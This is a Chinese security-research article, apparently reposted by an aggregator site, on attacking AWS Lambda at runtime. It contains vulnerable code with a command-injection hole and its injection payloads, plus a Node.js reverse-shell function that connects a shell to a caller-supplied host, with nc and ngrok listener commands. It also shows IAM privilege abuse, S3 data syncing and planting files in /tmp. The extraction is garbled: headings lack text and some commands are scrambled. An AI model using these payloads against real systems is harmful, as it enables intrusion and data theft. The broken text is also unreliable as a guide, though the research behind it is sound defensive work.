云原生攻防研究 针对AWS Lambda的运行时攻击
Posted 绿盟科技研究通讯
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了云原生攻防研究 针对AWS Lambda的运行时攻击相关的知识,希望对你有一定的参考价值。
2.1短生命周期特性
2.2Lambda元数据
2.3AWS CLI
2.4AWS IAM
{
"Version":"2012-10-17",
"Statement": [
{
"Effect":"Allow",
"Action": "*",
"Resource": "*"
}
]
}
##创建一个IAM用户
aws iamcreate-user --user-name xxx
##创建IAM登录方式
aws iam create-login-profile --user-namexxx --password xxx
##为IAM用户创建访问Token
aws iam create-access-key --user-name xxx
##将IAM用户添加至Admin用户组
aws iam add-user-to-group --user-namexxx --group-name Admins
-
开发者编写的Lambda函数代码含有漏洞,例如命令注入漏洞; -
攻击者使用了此Lambda功能,通过不断探测及尝试发现了函数漏洞,并最终拿到shell权限; -
通过终端或界面输入shell命令获得函数运行时的环境变量,通过AWS CLI结合IAM进行越权访问、隐私数据窃取;通过可写路径上传恶意脚本进行更高维度的攻击;
-
攻击者恶意构造应用程序(该函数用于成功的建立反向shell)并部署至AWS Lambda平台中; -
攻击者通过提前构造好的请求在本地环境中触发已部署的Lambda函数,从而拿到shell权限; -
攻击者通过运行时环境的可写目录写入恶意脚本,利用Lambda服务器充当僵尸主机对外进行DDoS攻击;
4.1攻击者利用Lambda函数漏洞场景下的shell权限获取
def react(message, bot):
"""React to messages sent directly to the bot."""
try:
……
url = ……
try:
r = requests.get(url)
F = open('/tmp/' + filename, 'w')
F.write(r.text)
F.close()
except Exception as e:
print('Could not write file because {e}'.format(e=e))
try:
content = os.popen("cat /tmp/" + filename).read()##将用户输入查找的文件名不经任何校验当作字符串传入shell中,引发了命令注入漏洞
……
except Exception as e:
print(e)
print(content)
print(os.popen("ls /tmp").read())
slack_message = "Here's the changelog you asked for: {changelog}".format(changelog=content) ##将文件内容以changelog格式输出至屏幕
……
response = {
"statusCode": 200,
……
}
return response
except Exception as e:
print(e)
>>> import os
>>>os.popen("cat /tmp/1.py").read()##攻击者将查看的文件名设置为“1.py”
'xxxxxxxxxxxxxxxxxxthisis just a testxxxxxxxxxxxxxxxxxxxxxxxx '
>>>os.popen("cat /tmp/1.py;ls -al").read()##攻击者将查看的文件名改为“1.py;ls-al“以获取当前目录
'xxxxxxxxxxxxxxxxxxthisis just a testxxxxxxxxxxxxxxxxxxxxxxxx
total224
drwxr-xr-x 20 nsfocus nsfocus 4096 Nov 27 05:51 .
drwxr-xr-x 3root root 4096 Sep 16 2019 ..
drwxr-xr-x 2 root root 4096 Nov 24 06:44 .aws
-rw------- 1 root root 41940 Nov 24 12:03.bash_history
-rw-r--r-- 1 nsfocus nsfocus 220 Apr 4 2018 .bash_logout
……
>>>os.popen("cat /tmp/1.py;env").read()##攻击者将查看的文件名设置为“1.py;env”以获取当前环境变量
'xxxxxxxxxxxxxxxxxxthisis just a testxxxxxxxxxxxxxxxxxxxxxxxx
LESSCLOSE=/usr/bin/lesspipe%s %s
LANG=en_US.UTF-8
SUDO_GID=1000
DISPLAY=localhost:10.0
USERNAME=root
……
>>>os.popen("cat /tmp/1.py;id").read()##攻击者将查看的文件名设置为“1.py;id“以获取当前用户
'xxxxxxxxxxxxxxxxxxthisis just a testxxxxxxxxxxxxxxxxxxxxxxxx
uid=0(root)gid=0(root) groups=0(root) '
4.2攻击者恶意构造Lambda函数场景下的shell权限获取
4.2.1 安装AWS CLI
curl"https://awscli.amazonaws.com/AWSCLIV2.pkg" -o"AWSCLIV2.pkg"
sudoinstaller -pkg AWSCLIV2.pkg -target /
awsconfigure
AWSAccess Key ID [None]: 「AWS账户的访问ID」
AWSSecret Access Key [None]: 「AWS账户的AWS SecretAccess Key」
Defaultregion name [None]: 「AWS账户的所在区域」
Defaultoutput format [None]: 「AWS账户的所在区域」
4.2.2 部署panther
npminstall --arch=x64 --platform=linux --target=12.13.0 sharp
if (event.queryStringParameters) {
host = event.queryStringParameters.host; //获取Get请求的host参数
port = event.queryStringParameters.port; //获取Get请求的port参数
}
if (!host || !port) {
writeLog(2, 'Invalid request: Missing hostor port parameter.');
return {
statusCode: 400,
body: JSON.stringify({
message: 'Must provide the host andport for the target TCP server as query parameters.',
}),
};
}
const portNum = parseInt(port, 10);
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket(); //建立一个socket连接
try {
await new Promise((resolve, reject) => {
client.connect(portNum, host, () => { //连接host和port组成的url
client.pipe(sh.stdin); //建立反向shell操作
sh.stdout.pipe(client); ); //建立反向shell操作
sh.stderr.pipe(client); ); //建立反向shell操作
});
export AWS_PROFILE=default##导入AWS的配置项用AWS CLI使用
root ~/work/project/reverse_lambda/serverless-prey/panther exportWITH_BUCKET=true ##创建受保护的AWS存储桶,Lambda执行角色可以访问
root ~/work/project/reverse_lambda/serverless-prey/panther exportBUCKET_SUFFIX=$(uuidgen | cut -b 25-36 | awk '{print tolower($0)}') true ##创建受保护的AWS存储桶,Lambda执行角色可以访问
root ~/work/project/reverse_lambda/serverless-prey/panther npx serverlessdeploy ##部署应用程序
Serverless:Packaging service...
Serverless:Excluding development dependencies...
Serverless:Creating Stack...
Serverless:Checking Stack create progress...
........
Serverless: Stackcreate finished...
Serverless:Uploading CloudFormation file to S3...
Serverless:Uploading artifacts...
Serverless:Uploading service panther.zip file to S3 (1.59 KB)...
Serverless:Validating template...
Serverless:Updating Stack...
Serverless:Checking Stack update progress...
.............................................
Serverless: Stackupdate finished...
ServiceInformation
service: panther
stage: dev
region: us-east-1
stack: panther-dev
resources: 16
api keys:
panther:9KRZWx5yc47K3D3yuxy6m4fanDJrJx6h50jS0vey ##API密钥,非常重要,用于API请求时携带
endpoints:
GET - https://lbfq2wa99e.execute-api.us-east-1.amazonaws.com/dev/api/Panther ##API请求路径
functions:
panther: panther-dev-panther
layers:
None
S3 Sync: Syncingdirectories and S3 prefixes...
...........
S3 Sync: Synced.
Serverless: Runthe "serverless" command to setup monitoring, troubleshooting andtesting.
4.2.3 建立反向Shell
~/work/project/reverse_lambda/serverless-prey/panther nc -l 4444
~/work/project/reverse_lambda/serverless-prey/panther ngrok tcp 4444
图8. 通过Ngrok映射互联网
root~/work/project/reverse_lambda/serverless-prey aws lambdaupdate-function-configuration
--function-name panther-dev-panther
--timeout 900 #设置超时时常为15分钟
{
"FunctionName":"panther-dev-panther",
"FunctionArn":"arn:aws:lambda:us-east-1:655125143201:function:panther-dev-panther",
"Runtime":"nodejs12.x",
"Role":"arn:aws:iam::655125143201:role/panther-dev-us-east-1-lambdaRole",
"Handler":"handler.panther",
"CodeSize": 1585,
"Description": "",
"Timeout": 900, ##执行完后根据终端输出可以看出超时时长已更改为15分钟
"MemorySize": 1024,
"LastModified":"2020-11-24T09:02:45.544+0000",
"CodeSha256":"62CcxpIHuJGTRRtg7zaopnUiCzVYAmb4l1LfBuqPkL8=",
"Version": "$LATEST",
"TracingConfig": {
"Mode":"PassThrough"
},
"RevisionId":"1ab160cf-6953-464d-9bd6-0d09cbe5fe06",
"State": "Active",
"LastUpdateStatus":"Successful"
}
上述的攻击者模型介绍中我们知道当攻击者拿到了shell权限后便可进行一系列攻击,其中主要通过对“可写目录”、“AWS IAM”、“环境变量”这三者的利用达到最终目的。本章笔者通过实验做了一些验证工作,尝试复现攻击过程,主要验证内容为“未授权访问”、“窃取敏感数据”、“植入恶意木马”这三类攻击,详细内容见下文。
5.1未授权访问攻击
root@microservice-master:~#aws iam list-role
An error occurred(InvalidClientTokenId) when calling the ListRoles operation: The security tokenincluded in the request is invalid.
exportAWS_ACCESS_KEY_ID=<ENTER KEY ID>
exportAWS_SECRET_ACCESS_KEY=<ENTER SECRET ACCESS KEY>
exportAWS_SESSION_TOKEN=<ENTER SESSION TOKEN>
root@microservice-master:~#aws iam list-roles
{
"Path": "/",
"RoleName": "panther-dev-us-east-1-lambdaRole",
"RoleId": "AROAZRCEAL2QUSHRED5QI",
"Arn":"arn:aws:iam::655125143201:role/panther-dev-us-east-1-lambdaRole",
"CreateDate": "2020-11-24T03:01:47+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "",
"MaxSessionDuration": 3600
},
在本实验中,笔者想尝试利用访问凭证更改现有的角色策略以达到未授权访问的目的。主要步骤如下:
root@microservice-master:~# aws iam list-role-policies--role-name panther-dev-us-east-1-lambdaRole
{
"PolicyNames": [
"dev-panther-lambda"
]
}
(END)
可以看出「panther-dev-us-east-1-lambdaRole」中含有一个策略「dev-panther-lambda」;
rootget-role-policy --role-name panther-dev-us-east-1-lambdaRole--policy-name dev-panther-lambda -master:~#aws iam
{
"RoleName": "panther-dev-us-east-1-lambdaRole",
"PolicyName": "dev-panther-lambda",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"logs:CreateLogStream",
"logs:CreateLogGroup"
],
"Resource": [
"arn:aws:logs:us-east-1:655125143201:log-group:/aws/lambda/panther-dev*:*"
],
"Effect": "Allow"
},
……
]
}
}
从以上输出来看,我们已经得到了「dev-panther-lambda」的策略全貌;
{
"Action": [
"logs:CreateLogStream",
"logs:CreateLogGroup"
],
"Resource": [
"arn:aws:logs:us-east-1:655125143201:log-group:/aws/lambda/panther-dev*:*"
],
"Effect": "Deny" ##由ALLOW更改为Deny
},
root-1-lambdaRole --policy-namedev-panther-lambda --policy-document file://./test.json -master:~# aws iamput-role-policy --role-name panther-dev-us-east
5.2窃取敏感数据
root@microservice-master:~#aws s3 ls
2020-11-16 16:35:16 calbeebucket
2020-11-16 16:36:57 calbeebucket-resized
2020-11-24 11:01:48 panther-9e575f5c6886
2020-11-24 11:00:54panther-dev-serverlessdeploymentbucket-1spdo3jm0znph
root@microservice-master:~# aws s3 sync"s3://panther-9e575f5c6886" ~/panther
download: s3://panther-9e575f5c6886/assets/panther.jpgto ../../../../panther/assets/panther.jpg
5.3植入恶意木马
root ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
Listening on any address 4444 (krb524)
Connection from 127.0.0.1:54774
echo "Malware" > malware.sh ##写入恶意脚本
/bin/sh: line 1: malware.sh: Read-only file system ##路径为只读
echo "Malware" > /tmp/malware.sh ##写入恶意脚本至“/tmp”目录
ls /tmp/malware.sh ##查看恶意脚本
/tmp/malware.sh ##写入成功
echo"X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"> /tmp/malware.sh ##写入恶意字符串至脚本中
cat /tmp/malware.sh ##查看恶意脚本
X5O!P%@AP[4PZX54(P^)7CC)7}-STANDARD-ANTIVIRUS-TEST-FILE!+H*##正常输出
root ~/work/project/reverse_lambda/serverless-prey aws lambdaupdate-function-configuration --function-name CreateThumbnail --timeout 30
root ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
Listening on any address 4444(krb524)
Connection from 127.0.0.1:58470
echo "Malware"_test >/tmp/malware_test.sh
cat /tmp/malware_test.sh
Listening on any address 4444(krb524)
Connection from 127.0.0.1:58470
echo "Malware"_test >/tmp/malware_test.sh
cat /tmp/malware_test.sh
Malware_test
Total received bytes: 13
Total sent bytes: 69
root ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
Listening on any address 4444(krb524)
Connection from 127.0.0.1:58564
cat /tmp/malware_test.sh
Malware_test
Total received bytes: 13
Total sent bytes: 25
root ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
Listening on any address 4444(krb524)
Connection from 127.0.0.1:58760
cat /tmp/malware_test.sh
Malware_test
##10分钟后再次查看
root ~/work/project/reverse_lambda/serverless-prey/panther nc -lvvp 4444
Listening on any address 4444(krb524)
Connection from 127.0.0.1:58760
cat /tmp/malware_test.sh
No such file or directory ##文件已消失
星云实验室专注于云计算安全、解决方案研究与虚拟化网络安全问题研究。基于IaaS环境的安全防护,利用SDN/NFV等新技术和新理念,提出了软件定义安全的云安全防护体系。承担并完成多个国家、省、市以及行业重点单位创新研究课题,已成功孵化落地绿盟科技云安全解决方案。
以上是关于云原生攻防研究 针对AWS Lambda的运行时攻击的主要内容,如果未能解决你的问题,请参考以下文章